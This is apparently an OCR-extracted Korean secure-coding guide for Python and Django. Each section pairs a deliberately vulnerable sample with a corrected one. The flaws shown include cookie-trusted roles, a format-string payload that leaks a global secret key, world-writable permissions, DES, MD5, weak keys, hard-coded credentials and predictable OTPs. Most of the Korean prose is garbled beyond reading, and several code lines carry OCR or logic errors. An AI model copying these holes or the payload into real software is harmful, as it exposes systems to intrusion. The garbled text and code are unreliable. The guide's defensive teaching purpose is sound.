role = request.COOKIE['role']
request_id = request.POST.get(user_id’, ")
request_mail = request.POST.get(user_email',")
# 70N 7= ETHo] 22| XHRIX| Hw
if role == 'admin".

# ARZALS] IHARE x7|sh & B HE X<

2@ @ o FH @ g 5 Wi

Y
—

password_init_and_sendmail(request_id, request_mail)

—
N

return render(request, '/success.html’)

else:

4
@

14: return render(request, '/failed.html’)
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N

from django.shortcuts import render

def init_password(request):
# MM0IM Het HEE JHNZ
role = request.session['role’]
request_id = request.POST.get(user_id’, ")
request_mail = request.POST.get(user_email',")
# MMM ZEME2 #SH0| RE[XHRIX| W
if role == ‘admin’:

# MEXS MARIE X735t & O HE X2

@ © @ F @ T s @K

—_ =
N

password_init_and_sendmail(request_id, request_mail)

—
N

return render(request, '/sucess.html’)

_\
@

else:

14: return render(request, '/failed.html’)

gt Xz

(® CWE-807: Reliance on Untrusted Inputs in a Security Decision, MITRE,
https://cwe.mitre.org/data/definitions/807.html

@ How to use sessions, Django Software Foundation,

https://docs.djangoproject.com/en/3.2/topics/http/sessions/

® Flask Sessions,

https://flask-session.readthedocs.io/en/latest/
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QEZHE U E US ASOH| % - S0 o EXEE JIUE AESl= 49 UM = U=
HOIFMO|Ct, SAX= Z5 EAES 0|2dl F st T2MAS SASH/ LT HEZ2| LIBS ¢ & 5 UCh
0| Salf st T2MAL| HotS FSoH AUQe ZEE AH & 5+ UCH

IO MO M= 2XIEO| OHE| BIHO 2 “% formatting”, “str.format”, “f-string” 1t 20| M| 7tX| 2XI&

HE HAMS MBSO UACk(f-string 2 MOIM 3.6 HTRE AL 7HSSIL). SZA= ZH EXES 01835

A
HE SEE ZXER US 4 UCH, 0|1 U= A8k 82 82 8E REE 0[0E + UL

T SXIES ARG 4 AR Al ABX QS RHMOR TN BAIUR ARSI KU 2XY
MO ESAZIX| QLO[OF BTt ARBRIZEE 243 WS HO[ES EY 2XEE ARSHIR st AL

MA RIEXE EedotA| AL TOPMo| et E= WEHs SO0| ZYEX| 5 oHOF St

Ct. IE0)X|

Otelf GIIAIOIM = 2IR0|N LHE2 ZAES HE

Hu
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Hu
>
00
[e]l]

2 A=Hl Ol= HE ZEIt B2

LEE o+ Us ZHME WESHD UL

A7t # {user.__init__.__globals__[AUTHENTICATE_KEY]} ¥Alo| EXtE U Al MY Ha0f HE
oty AUTHENTICATE_KEYS| @2 B3 & =+ UL
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from django.shortcuts import render
AUTHENTICATE_KEY = 'PasswOrd'

1
2
3
4:  def make_user_message(request):

5 user_info = get_user_info(request.POST.get('user_id', "))
6

7 format_string = request.POST.get(msg_format’, ")

8: # LR Dizst 87t 22 =52 =+ QU0

9: # ARBAPE U Z2AEE B0 2AEE ARZS QU0 SR edrt

10: message = format_string.format(user=user_info)
11:
12: return render(request, '/user_page.html’, {message":message})
y
QoM U B2 ZXIE2 HEA| 0 XIHXAE 0|36l HIQIY & AKZoHOf olH ZHXMO= HCHEXIE=
MEaliM= o EC.
QHMSH TE OfA|
1:  from django.shortcuts import render
2.  AUTHENTICATE_KEY = 'PasswOrd'
3:
4:  def make_user_message(request):
oF user_info = get_user_info(request.POST.get('user_id’, "))
6:
7 # AMEAU st EXEE LU 2SR ARZSHA| 940F QRS
8: message = 'user name is {}'.format(user_info.name)
9:
10: return render(request, '/user_page.html’, {message:message})
| 4
2. AR

(® CWE-134: Use of Externally-Controlled Format String, MITRE,
https://cwe.mitre.org/data/definitions/134.html

®@ Format string attack, OWASP,
https://owasp.org/www-community/attacks/Format_string_attack

® IOMM format, Python Software Foundation,
https://docs.python.org/3/library/functions.html#format

@® Format String Syntax, Python Software Foundation,
https://docs.python.org/3/library/string.html#format-string—syntax
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H2ZE pEhgiS

Ho7I5(RI5 Hoj, 712y, ¢S, HstE] S)8 BT 7 Al YME & U HoRfHo=Z
Ao 215 gl= 3975 o8, 8XFHst 21Ut 50| EtECt

Iofo|M2| Django Z&UHZMIA django.contrib.auth 2 Salf 7|24l 215 21021 & 270 7Is2
HiZste A2 DRF(Django REST Framework)lA= EE 2 MM Q155 HMiZstl UCH

S2HO0|AUE| HOt HALS R3[610 MH0]| FZoIX| Zot=s dAlot! St FEVt U= HOIX= MRl5S
MGt S OFMBICt T ASE 2t0|E2{2|Lt T2 (Django authentication system, Flask—Login

S)E AEal0F BiLt.

Ct. EOI|
[122 MARIS 4% Al £52 Q8% HAACS DBU MIE ASA HAYUS x| GRS QIS

=
3 Aol UM MALES[ IRl HEAte Y=E Fofet ZE HAE 20 =0
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5 o8 o5 o5 =
o1 Ly =

_\
D@ =S iy =

from django.shortcuts import render
from re import escape
import hashlib

def change_password(request):
new_pwd = request.POST.get(new_password',")

# 27015t ALKt M

user = '%s' % escape(request.session['userid])

# oK password?t YX| O{EE HQIGHKA| 911 gt
sha = hashlib.sha256(new_pwd.encode())
update_password_from_db(user, sha.hexdigest())

return render(request, '/success.html’)

4

M2kl HAYEIL LX[Sk=X] 22l =

DBO| K ALSA HAYSS} HS 235 HAYIEY UX|
D

B HAYES 35

_\
QODFPT LW 2

NNNNNNN S - 8 v 8 8 sy
PALYNLEITLRNR

27:

from django.contrib.auth.decorators import login_required
from django.shortcuts import render

from re import escape

import hashlib

# login_required decoratorE AtEdl login®l ALZXAIPE HZSHE=E X

@login_required

def change_password(request):
new_pwd = request.POST.get(new_password',")
crnt_pwd = request.POST.get(current_password',")

# 27015t AIZA HEE MMOIM 7=
user = '%s' % escape(request.session['userid])

crnt_h = hashlib.sha256(crnt_pwd.encode())
h_pwd = crnt_h.hexdigest()

# DBOIN 7|12 A2ALQ| HashE MAYE J7HH7|
old_pwd = get_password_from_db(user)

# WARIEES HZGH| © ALSXI0 Chet XHRIBSS STt

if old_pwd == h_pwd:
new_h = hashlib.sha256(new_pwd.encode())
update_password_from_db(user, new_h.hexdigest())
return render(request, '/success.html’)

else:

return render(request, ‘failed.html’, {'error': A=} UX|GHK| &LICHY)
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gt Xz

(® CWE-306: Missing Authentication for Critical Function, MITRE,
https://cwe.mitre.org/data/definitions/306.html

@ Access Control, OWASP,
https://www.owasp.org/index.php/Access_Control_Cheat_Sheet

® Using the Django authentication system, Django Software Foundation,
https://docs.djangoproject.com/en/3.2/topics/auth/default/

@ Flask—Security,
https://flask-login.readthedocs.io/en/latest/
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7t M
> —
ACL E8t ®%
¢ | HY M
ACL
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ACL S3Hx| g2 H&
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AL 22%oM| dAfol= B2, SAA=

H
u‘?ufa
S
la
rn
N
o
e
&
o
H1J
P
St
x
it
H
=
=]

il
o
_>,:
Ol
E

S8 Z=IH0| HSdtks B2 7IS0| 7iXl= Ao A 22 HUHC =M SAXNA =25= 4

EMH(Attack Surface)dg Z|A3I5IT AM2XIQ| HSH0| MHE ACL(Access Control List)g Zt2|BHCt,

Ct. ZEO0A|

ALER LHA M2t MK HHS Aot ACH, ASAS Aot oIS gt B9 SHIL HEE[K|
H2 GAIE 20 =L
3) 342t Y E= FEE E & Us ALY FAY Y, AILHE 24 E= #FE 2J0|(https://csrc.nis

t.gov/glossary/term/attack_surface)

72



PART HI2& AIFOIZE JI0I= | HI2&2 HeDIs |

—

from django.shortcuts import render

2. from .model import Content
3:
4:  def delete_content(request):
55 action = request.POST.get(action’, ")
6: content_id = request.POST.get(content_id’, ")
E # &Y QTS ot= AEAS] Aot =Rl Ql0| deleteE ¥
8: if action is not None and action == "delete":
9: Content.objects.filter(id=content_id).delete()
10: return render(request, '/success.html’)
11: else:
12: return render(request, '/error.html’, {'error': &2 #5t0| &LICETY)
y
M0 MEE AL FEE Solf ofld AZX7E =g 20| Tier Hot0| JU=A| &elet &, HTH0|
U= ZRORt KIS AT BoF BTt
QHMSt A OfA|
1:  from django.contrib.auth.decorators import login_required, permission_required
2. from django.shortcuts import render
3:  from .model import Content
4:
5. @login_required
6: # oiF 752 =AY HT0| A=A| =l
7.  @permission_required(content.delete’, raise_exception=True)
8: def delete_content(request):
9: action = request.POST.get(‘action’, ")
10: content_id = request.POST.get(content_id’, ")
11:
12: if action is not None and action == "delete":
13: Content.objects.filter(id=content_id).delete()
14: return render(request, '/success.html’)
15: else:
16: return render(request, ‘ferror.html’, {'error':"AtK| &I}
| 4
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gt Xz

® CWE-285: Improper Authorization, MITRE,
https://cwe.mitre.org/data/definitions/285.html

@ Access Control, OWASP,
https://www.owasp.org/index.php/Access_Control_Cheat_Sheet

® Using the Django authentication system, Django Software Foundation,
https://docs.djangoproject.com/en/3.2/topics/auth/default/
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3. SQ°T IHAl et 2=X= Het 43

2to|=ziz|

7l Qe

O Erele] xtalo B2
» ' - cee

[ @ﬁ +— _

(2 ES=3: V=R gl

2ot 2| RH ALE M
SSIR720| SR HOHHR X1 Lol 97| Ei AFOP| HES ARSI o SR ZR, a2
K| 942 MR S X142 ARSI EICk LOROIALS os.fchmod, os.chmod SO 848 S8 Tt

M, 4F Y 9| WS MT 4 ATk

C

R I = A L

23 I, 4 oY, 2f0[22{2] S2 Z2|X0l| 2ohM Tt S MI17}t Thsotes 3ot

Z0| SQ¢t AHEE A8ols E% o/t X 2 AEAV S8 ArHo| "2 7tSSHA| ZAFSIT.
Ct. IE0)X|

CtE OIXMI= /root/system_config IO CHOHA ZE ARSAE §7|, 47|, Ml HeHS 7HK= &S
20 =0

import os
def write_file():
# ZE ARBAPL 97|, M7, & Hetg 7EKA| El.

o0s.chmod('/root/system_config', 00777)

with open('/root/system_config", 'w) as f:

@ H 9@ g 5 Wy =

f.write("your config is broken")
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HHo=, MU ARALEtll SICiete:

7|2

o=
04K 0F

ot

o
27

C|

t.

import o0s

def write_file():
# ARA o= OFFE Rots K| &3

T =2 By

os.chmod('/root/system_config', 00700)

with open(*/root/system_config", “w') as f:

@ VT LN

f.write("your config is broken")

gt Xz

® CWE-732: Incorrect Permission Assignment for Critical Resource, MITRE,
https://cwe.mitre.org/data/definitions/732.html

@ OS - Miscellaneous operating system interfaces, Python Software Foundation,
https://docs.python.org/3/library/os.html|

76




PART HI2& AFROIZE JHOIE | HI2& Heis

4. FouTt A2 2IdE AIE

7t e
thy 5|
(DES)
e 1 ysg »e
A ~ N
o] —> —> |o=—| —> —> | o=
o= 9 — 9 a=
o= o=
L3} =53}
NEAES2 SHE48d Yo MYE HA/YEES ESol7| o et Q17 5 0|80 HARYJES
dFc YHS Mol oIt ofX[Zh base642t 22 X|LEX|AH| S QIFE ez HARES U2

HHES ZHOM FOfotALL ¢t &sst YAIAIES ABoiM= ¢ ECt. BEESIEX| K2 YSet YudiES

AIBSH= 22 BARE YTASS LA LS 4 s TH542 5U 45 UL, 2 Q24E Yssl
UD2AFC| ZPE HREQ 50| YT T2t HOHKZIE ShA, HHO= SHSSH=E 4 ofd0] 2
HOI2HD CIMEIH 2T2IF0| BAOILE B AIZH Lol SS 57| Sict RC2(ARC2), RCA(ARCA), RCS,

RC6, MD4, MD5, SHA1, DES ¥112|50| 47|10 sHHEICt.

ApelRtol st Pii2|ES JHESke A2 Ao, oA & fAMA 0|0 ASE EEsHE Hi2ES
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( YSANIZ ASIIE ver3.0 (YSTEAE7IT) )
28 s 2aE
A OHHYM £ * 112H|E
- YD
ARIA - 7|YM(ECB, CBC, CFB, OFB, CTR)
- 7|2H/QIE(CCM, GCM)
- 2unc
i SEED - 7|YM(ECB, CBC, CFB, OFB, CTR)
S=YS - 7|2X/9IE(CCM, GCM)
(2YzE)
- 2unc
LEA - 7|YM(ECB, CBC, CFB, OFB, CTR)
- 7|LM/QIE5(CCM, GCM)
- 2unc
HIGHT
G - 7|YM(ECB, CBC, CFB, OFB, CTR)
SHA-2 * SHA-224/256/384/512
NS LSH * LSH-224/256/384/512/512-224/512-256
SHA-3 * SHA-3-224/256/384/512
BIAJ] SHAISHS: 7|t * HMAC
AS s=2ot5 7|t - CMAC, GMAC
SHAISH 7|4t * Hash_DRBG, HMAC_DRBG
AT

CTR_DRBG

* 37| Z0| : 2048, 3072

37| &5 RSAE o
7] & SAES * 8iA|&t% © SHA-224, SHA-256
« 347| 20| : 2048, 3072
RSA-PSS _
* 8iA|&t% © SHA-224, SHA-256
* (@7K7] Zo|, JHQI7| Zo|) : (2048, 224), (2048, 2
KCDSA (;HLIEIH | Z0[) : (2048 ), (2048, 256)
* BifAIE @ SHA-224, SHA-256
PSPNISTE
* p-224, p-256, B-233, B-283, K-233, K-283
EC-KCDSA _
* 8iA|&t% @ SHA-224, SHA-256
* p-224, p-2 - - - -
ECDSA p 24, p-256, B-233, B-283, K-233, K-283
* BifAIEHS @ SHA-224, SHA-256
DH < (Z747] Z0[, JHQ17| Z0]|) : (2048, 224), (2048, 256)
7| 44
ECDH  P-224, P-256, B-233, B-283, K-233, K-283
KBKDF * HMAC, CMAC
7| e
PBKDF * HMAC
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Ct. ZEO0A|
g OiMl= Fefet DES 2112|522 2ASsfok= G|AICH. DES O0[210 2TDEA, Blowfish, ARC2,

S ¢
ARC4 39| Flofeh HII2|ES Argalid o EC.

import base64
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad

def get_enc_text(plain_text, key):
# Forer AS3st YT12|EQ DESE AESHY QMK fis
cipher_des = DES.new(key, DES.MODE_ECB)
encrypted_data = base64.b64encode(cipher_aes.encrypt(pad(plain_text, 32)))

© @ N g e Wiy =

return encrypted_data.decode('ASCII’)

IO 2.x HHHAME PyCryptoE AtESHH E|X[2 IO 3.x HH 2HE0IM ALE Al SHS SHX| H=
=W

7t LYsHH, O 01y || B2l E|X| 4222(deprecated) PyCryptoS 748t T2l pycryptodomeS

AMZoHOF St ESH FOFSH DES Y12|E CHAl QMM AES S8t YI12|ES AESIY.
EE ASUM Y ZEZ ECB(Electronic Code Block) ZEZ AIRE AL &t JHo| 220t SiEE|H
LIHX| S5 shi=0| E|._ THHO0| QUCt. CBC(Cipher Block Chaining) ZE= 29| Zt £20| XOR HAS

R
Soff 01 Y=t AMO0| 7| 20| Z2 F20I2t: ¥S=20| MZ OEH. 023 S42= HOtH0|
ECB REHLC} =L}

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

1
2
3
4
5. def get_enc_text(plain_text, key, iv):

6: # QHESH L112|EQI AES £ AMEoS0] QS

7 cipher_aes = AES.new(key, AES.MODE_CBC, iv)

8 encrypted_data = base64.b64encode(cipher_aes.encrypt(pad(plain_text, 32)))
9

0

return encrypted_data.decode('ASCII')
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1:  import hashlib

2

3:  def make_md5(plain_text):
4: # Fofst mds oiAlgts AL
5

6

7

hash_text = hashlib.mdb5(plain_text.encode('utf-8').hexdigest()

return hash_text

y
Ol TR 4BHHOZ OLMBICIT UBZI sha-256 aHAIEE S8 HH0F sict,
OHMSH TE OfA|
1: import hashlib
2
3:  def make_sha256(plain_text):
4: # OtFSt sha-256 SHAIEIS Al
5 hash_text = hashlib.sha256(plain_text.encode('utf-8").hexdigest()
6
7 return hash_text
| 4

= A DN =

(® CWE-327: Use of a Broken or Risky Cryptographic Algorithm, MITRE,
https://cwe.mitre.org/data/definitions/327.html

®@ Welcome to pyca/cryptography, Cryptography,
https://cryptography.io/en/latest/

® Welcome to PyCryptodome’s documentation, PyCryptodome,
https://www.pycryptodome.org/en/latest/

@ Cryptographic Services, Python Software Foundation,
https://docs.python.org/3/library/crypto.html
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7L e

U2 88 Z2IU2 HRZ2 HAT JoM S8 FEOHIEE, ASEE, 28HEE S)E Mttt
0[2i$t 52 HEI MUHZ HSEX| g Z, 2o 27t WMat7 Lt HO|E{Q 2ZH0| THE £ ULt

Hll mII
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£5| MEAL E= AARIC T2 2Tt XetH HI0|HE 22 A EE XY Al A7HE|X] 42 AFEAL

OflA QIztst MEJH &2 4 QL

HAYR(FUSEHS, HAUHE §), SEHYZCIEHS, AZHE §), WAUE & SLFEE NS
SHUMEZE WSS M= HEA ASst IS HXO0F ol SLYEE HAU of Hetels S5 Sl

P22 2O MES AESHOF BTt HOt MBS ASSHA| Al EEteA

=k =
F710 2 HOIHE MYot=s E2, 77| ZFol| 2583 HHaH(Ex. secure = True) 2 Y=o &S

YR =+ U,

Ct. IE0)X|
S28E BEXNY

O Oidl= ASAIZRH HEU2S MAYE ASSIE FET FR0IT
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def update_pass(dbconn, password, user_id):

2 curs = dbconn.cursor()
3 # Y2SEX| Y2 WARES DBO MY
4. curs.execute(
5 'UPDATE USERS SET PASSWORD=%s WHERE USER_ID=%s',
6: password,
7: user_id
8: )
9: dbconn.commit()
| 4
Ofzhs SHAl YWAFS 01510 LS ABS 0150 WAYIES MFSHD ULk O] O, HAZS T3t
SHA2561 Z0| 2FEd0| ASE LU2ES AHEoHOF St
QrXSt IE Of|A
1:  from Crypto.Hash import SHA256
2
3: def update_pass(dbconn, password, user_id, salt):
4: # o 2SS 0|80l0 WARES YZst
55 hash_obj = SHA256.new()
6: hash_obj.update(bytes(password + salt, 'utf-8’)
7: hash_pwd = hash_obj.hexdigest()
8: curs = dbconn.cursor()
9: curs.execute(
10: 'UPDATE USERS SET PASSWORD=%s WHERE USER_ID=%s',
11: (hash_pwd, user_id)
12: )
13: dbconn.commit()
| 4

82



PART HI2& AIFOIZE JI0I= | HI2&2 HeDIs

- ZOFE HEXS
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omm

—

import socket

127.0.0.1"
65434

HOST
PORT

def send_password(password):
with socket.socket(socket. AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))

# AQICS 55t 5HX| 943 H&BH0! QHHGHR QL.

2 © @ F @ @ B @

[
—

s.sendall(password.encode('utf-8")
data = s.recv(1024)

_\_\

| 4

Offi= HERJIE Soif WEE= WA LEEX| EES Asloty H&cks HAIE 2O L.
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10 import socket

2. import 0s

3:  from Crypto.Cipher import AES

4:

5. HOST = '127.0.0.1"

6: PORT = 65434

7:

8: def send_password(password):

9: # =XNEE MYEHO A= 25712 EE

10: block_key = os.environ.get(BLOCK_KEY')
11:

12: aes = AEScipher(block_key)

13: # WARE 5 52 JH= Y3slol0 T&Eol= 0| Aot
14: enc_passowrd = aes.encrypt(passowrd)
15:

16: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
17: s.connect((HOST, PORT))

18: s.sendall(enc_passowrd.encode(utf-8")
19: data = s.recv(1024)

20 ..

21:

22: class AEScipher:
23: BS = AES.block_size

24:

25: def __init__(self, s_key):

26: self.s_key = hashlib.sha256(s_key.encode("utf-8")).digest()

27:

28: def pad(self, m):

29: return m + bytes([self.BS - len(m) % self.BS] * (self.BS - len(m) % self.BS))
30:

31: def encrypt(self, plain):

32: plain = self.pad(plain.encode())

33: iv. = Random.new().read(AES.block_size)

34: cipher = AES.new(self.s_key, AES.MODE_CBC, iv)

35: return base64.b64encode(iv + cipher.encrypt(plain)).decode("utf-8")
36:

2. AR
(® CWE-312: Cleartext Storage of Sensitive Information, MITRE,
https://cwe.mitre.org/data/definitions/312.html

@ CWE-319: Cleartext Transmission of Sensitive Information, MITRE,
https://cwe.mitre.org/data/definitions/319.html

® Password Plaintext Storage, OWASP,
https://owasp.org/www-community/vulnerabilities/Password_Plaintext_Storage
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6. OIEIEE SFY

7L e

D2 FC LR SIEIEE HAQEES T35, 012 0185} LIS QIS0 ARSIt Qi HEHER)
S4IZ Ste 29 BAKIY HEUL EE 4 0| HHSICH EF SISACH U85 7S AB3 YBsE
T ASstE YRI REE 7H5H0| FOHL ASTI HAIS Al MYSIHE AAM0| THSHH
A BZ(Brute-Force)a3A0l= Fg 4 ACL

HAQEE= A2st & BEO| MUN XNYI0] ALZSICh Eot S2 & &St Al =7t Ofd =8t

7|E MESIEE i, 2sst & EHE AATFE WRO 5 YRS f33} 7|18 FH22 AU

Ct. IE0)X|

AATEO| WAQIE Ei= 953} 7|9 22 38 YES SIETY o Y2, 52 Y} k5 4 0]

Fleottt.
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—

import pymysq|l

2:

3: def query_execute(query):

4: # user, passwd’t AATE0 HEOZ SIEAYEN US
5 dbconn = pymysgl.connect(
6: host='127.0.0.1",

7: port='1234',

8: user="root’,

9: passwd='1234',

10: db="mydb',

11: charset='utf8",

12: )

13: curs = dbconn.cursor()
14: curs.execute(query)

(53 dbconn.commit()

16: dbconn.close()

| 4

IHAQIEQ 212 B0 MR OB 455} WAOT ABs 5 HEo| Sa|E D7) AEHOF 510,

2A2otE FE Mg Al =39

&
o
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X
2
o
o
=I0g
=
ror
0
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10 import pymysg|

2. import json

3

4:  def query_execute(query, config_path):

oF with open(config_path, 'r') as config:

6 # AN MAUNA user, passwdS 7HH2t AtE

7 dbconf = json.load(fp=config)

8 # A0 U= =5 YRS 7|E 523 oM /M=
9: # AEA Hol et

10: blockKey = get_decrypt_key(dbconf['blockKey'l)
11: # 28 MUK YSSEY U= As 7Nt 5358kt 20| A8
12: dbUser = decrypt(blockKey, dbconf['user'])

13: dbPasswd = decrypt(blockKey, dbconf['passwd’l)
14:

15: dbconn = pymysgl.connect(

16: host=dbconf['host]]

17: port=dbconf['port],

18: user=dbUser,

19: passwd=dbPasswd,

20: db=dbconf['db_name],

21: charset='utf8',

22: )

23

24 curs = dbconn.cursor()

25: curs.execute(query)

26: dbconn.commit()

27: dbconn.close()

gt Xz

® CWE-259: Use of Hard-coded Password, MITRE,
https://cwe.mitre.org/data/definitions/259.html

@ CWE-321: Use of Hard—coded Cryptographic Key, MITRE,
https://cwe.mitre.org/data/definitions/321.html

® Use of hard-coded password, OWASP,
https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password

@ Password Management Hardcoded Password, OWASP,

https://owasp.org/www-community/vulnerabilities/Password_Management_Hardcoded_Password
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HIE
112 HIE 112 112 2048 2048 224 224 2030474
128 HIE 128 128 3072 3072 256 256
192 HIE 192 192 7680 7680 384 384 2030 0|
256H|E 256 256 15360 15360 512 512
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RSA 2112152 MO 2,048 H|E OAfQ] ZI0|Z 71Xl 712t SHA| AL25HOF of, CHE! St L2 E(Symmetric
Encryption Algorithm)2] Z0l= 0T 128H|E O|A9| 7|2 AIR5HOF SHHAS ZT 112H|E O|A).

Ct. ZE0H|

HORY0| 23t RSA YTRIZS AZSHs LI 7] AJOIXS Spi oI TRI0| HOIpHo| 8 4 QUL

M

—

from Crypto.PublicKey import RSA, DSA, ECC
from tinyec import registry

import secrets

def make_rsa_key_pair():
# RSA7| Z0|Z 2048 HIE Olotz d¥ol= R AKX %S
private_key = RSA.generate(1024)
public_key = private_key.publickey()

2 ©@ @ = @ e B @ I

—

def make_ecc():

—
—

# ECCOl 7| Z0|Z 224H|E 0[512 SHot= A QHHGIX| &S

—
N

ecc_curve = registry.get_curve('secp192r1’)

13: private_key = secrets.randbelow(ecc_curve.field.n)

14: public_key = private_key * ecc_curve.g

RSA, DSAS| &2 7|9 Z0|= M0k 2048 H|EE, ECC2| E<? 224 H|E 0|4C= HZol0f 2tXGICt.
CIES2 tinyec 2ES ALE510 ECC 7|12 dd¢et GiXIC.
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N

from Crypto.PublicKey import RSA, DSA, ECC
from tinyec import registry

import secrets

def make_rsa_key_pair():
# RSA 7| Z0|E 2048 HIE O|4Co= ZH &Y
private_key = RSA.generate(2048)
public_key = private_key.publickey()

2@ © o F @ a o @K

N

def make_ecc():

# ECC 7| Z0|E 224 HIE O|de=z H&F

-
N =

ecc_curve = registry.get_curve(secp224r1’)

_\
@

private_key = secrets.randbelow(ecc_curve.field.n)

&

public_key = private_key * ecc_curve.g

= A DN =
(® CWE-326: Inadequate Encryption Strength, MITRE,
https://cwe.mitre.org/data/definitions/326.html

(@ FEDERAL INFORMATION PROCESSING STANDARDS PUBLICATION (FIPS PUB 186-4), NIST
https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-4.pdf

® PyCryptodome-RSA,
https://pycryptodome.readthedocs.io/en/latest/src/public_key/rsa.html

® Y3 Lu2E H 7| Zo| 01 QHHA, KISA,
https://www.kisa.or.kr/2060305/form?postSeq=5&lang_type=KO#fnPostAttachDownload

® DSA, Pycryptodome,
https://pycryptodome.readthedocs.io/en/latest/src/public_key/dsa.html

® ECC, Pycryptodome,
https://pycryptodome.readthedocs.io/en/latest/src/public_key/ecc.html
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8. HEOHI B2 Y= & A8

7L e

/
L

LEAHEARY

' 3

© st=Hlo|E FE or AT 2

05 B7H53t 2AP ERS MBI 05 TK53 LS ASBITIT, J2AVH MAEl= T 2XI2 ol
NARZ B2 4 L

Lt, ekdst 37|14
e LTI A=(Seed)E AFBSHE FR0IE 1E AUS AESHK| § HESH| 022 YYo=z
d3E US At

pythonOiAl random 2&2 F=E HOt ZX0| Ofd A 2 AIZ0[8S o HA=IRACE. MM
ID, 2&53517| S F£Q HOl 7|52 9|5t S MMsID =Q HOt 7|58 £8i5t= A0 = random ZEEL}

oS5t SMOZ MAE secrets S AMEoH0f SHCY.

F|O

secrets Z=2 python 3.6 O[HOMTH ALE 7HSSIHH Y5, A 015, EQt EZI Z2 H0[HE 22

Sh=0| Xglch Z2i5H Hhgs MM AKREE 4= QICE python 3.6 0[6HHIAt= os.urandom(), random.SystemRandom
ZeAE ArEot= A0| QST

Ct. ZE0IA|

random 2l0[HE{2| ALE Al0f= HIEA| R3F017| 0212 seed =S OIS0 H-E YJaloF i, OIZA|
Y Heet StEEtE 27t 27| MR F2 22 7SS flgh Ha 018 Aldl= oA §Tt. Ofi=
QFToHA| 2 ZE= MMZ 1HE seed A= E20[L} HSE FHOZ ALEdt= F|2A random 2t0|E22{2]

HE MAHE 20 =0
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1:  import random
2:
3:  def get_otp_number():
4: random_str = "
5: # AARL ST AlZE 22 AIEER ARZOID o0, £ HOt V|52 flo
6: # H=== QFMGEX| QCk
7: for i in range(6):
8: random_str += str(random.randrange(10))
9:
10: return random_str
| 4
2 ZE= secrets 20|E22|E Aol 6At2|2| H 4t Wdots Qe KIRICH
QHMSt A OfA|
1 import secrets
2:
3:  def get_otp_number():
4: random_str = "
[oF
6: # Ho|IS0| Mefet Ha MHE secrets 2t0[E22] A2
7: for i in range(6):
8: random_str += str(secrets.randbelow(10))
9:
10: return random_str
| 4
OHE2 MM EZUS MMot= OIMZ random 2t0|E2{2|S AtEsH QHMBIX| QILCH.
OHHEIX| 942 FE OfA
1:  import random
2. import string
3:
4:  def generate_session_key():
55 RANDOM_STRING_CHARS = string.ascii_letters + string.digits
6: # random 20|E2{2|E HOt 7|50 ALESSHH ST
7 return “”.join(random.choice(RANDOM STRING CHARS) for i in range(32))
| 4
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HAQEL QSHE X EAEZ Y30 AEot= F2? TS secrets 20|252|= Y&t H+E 0|18

oiOF SiCt.

import secrets
import string

def generate_session_key():
RANDOM_STRING_CHARS = string.ascii_letters+string.digits
# 2Ot Vs &= U= secrets 2t0|E2|E AlZal0oF QHMBIC

return *”.join(secrets.choice(RANDOM_STRING_CHARS) for i in range(32))

N @ 5 @ W 2

gt Xz

(® CWE-330: Use of Insufficiently Random Values, MITRE,
https://cwe.mitre.org/data/definitions/330.html

@ Insecure Randomness, OWASP,

https://owasp.org/www-community/vulnerabilities/Insecure_Randomness

® Generate pseudo-random numbers, Python Software Foundation,
https://docs.python.org/3/library/random.htm!|

@ Generate secure random numbers for managing secrets, Python Software Foundation,
https://docs.python.org/3/library/secrets.html
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9. FYUTH HAYE OI8

7L e

Continue Recovery

AXIOZ 23t HAQE REFAS Q75K QOB, ARBXF AH0| FOfoHH Tk OHXEt HACS
MABP| QoA THAQIE ME 2 O] QM OIN HAISHS HAYIS 4% Al MZHOF Lk

Lt. orst 3|y
X7 HBS 2YT WAASWAYCE)E 2XI2 Y2X, S42X 52 S350

5t
HZSHH ALESI=S SHOF SiC.

Ct. IE0)X|

AFEXPZL et A0 oot S8 4

ol

B0l 7t S¢ Mg +™otal RAC.

1:  from flask import request, redirect

2. from Models import User

3: from Models import db

4:

5. @app.route('/register’, methods=['POST)

6: def register():

7: userid = request.form.get(userid’)

8: password = request.form.get('password’)

9: confirm_password = request.form.get('confirm_password’)
10:

11: if password != confirm_password:

12: return make_response("IAY=7t AX|GHX| LELICH, 400)
13: else:

14: usertable = User()

16: usertable.userid = userid

16: usertable.password = password

17: # HARE dH fAlS SRIGHK| 411 3|3 7t

18: db.session.add(usertable)

19: db.session.commit()

20: return make_response('&/712) AZ" 200)
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g JIE | H2& =2ehis

INEEIN;
AC Lo
10K12| 2

AY BB U SIRTIY Al THAQIS X 2018 45 3 /1Y &

EABH(1@4S% ") 719! U RH0| T2} WaAGlol AIBSIR! EID), HARICE X2
E (=3

THY AL HOY 4 UOU ABKDL QMK HAYER

DTG LR

N NN NN NN /2 vy v
RPN ODFNPGLPONRE

26:
27:
28:
29:
30:
31:
32:
X3
34:
BHx
36:
37:
38:
39:
40:
41:

from flask import request, redirect
from Models import User

from Models import db

import re

@app.route('/register’, methods=['POST)

def register():
userid = request.form.get(userid’)
password = request.form.get('password’)
confirm_password = request.form.get('confirm_password’)

if password != confirm_password:
return make_response('T{ALIE=7} UR|oHA| 4ELICE", 400)

if not check_password(password):

return make_response("HAYE XA UX| UELICL", 400)
else:

usertable = User()

usertable.userid = userid

usertable.password = password

db.session.add(usertable)
db.session.commit()
return make_response('&/712) H2" 200)

def check_password(password):
# 33 01y BA=Z H4E 82| 0|y HAYE HA Bd HE
PT1 = re.compile("(?=.*[A-Z])(?=.*[a-z])[A-Za-Z\d!@#$%"&*]{8,}$)
PT2 = re.compile("(?=.*[A-Z])(?=.*\d)[A-Za-z\d!@#$%"&*]{8,1$)
PT3 = re.compile("(?=*[A-Z])(?=*[|@#$%"&*])[A-Za—2\d| @#$%"&*]{8,}$)
PT4 = re.compile("(?=.*[a-z])(?=.*\d)[A-Za-z\d!|@#$%"&*]{8,}$)
PT5 = re.compile("(?=.*[a-z])(?=.*[|@#$%"&*])[A-Za-Z2\d!| @#$%"&*]{8,}$)
PT6 = re.compile("(?=.*\d)(?=.*[|@#3$%"&*])[A-Za-z\d!@#$%"&*]{8,1$)

# EXF T H|BI0| 10X2] O] MAJE HAF Hd
PT7 = re.compile("[A-Za-z\d!@#$%"&*]{10,}$)

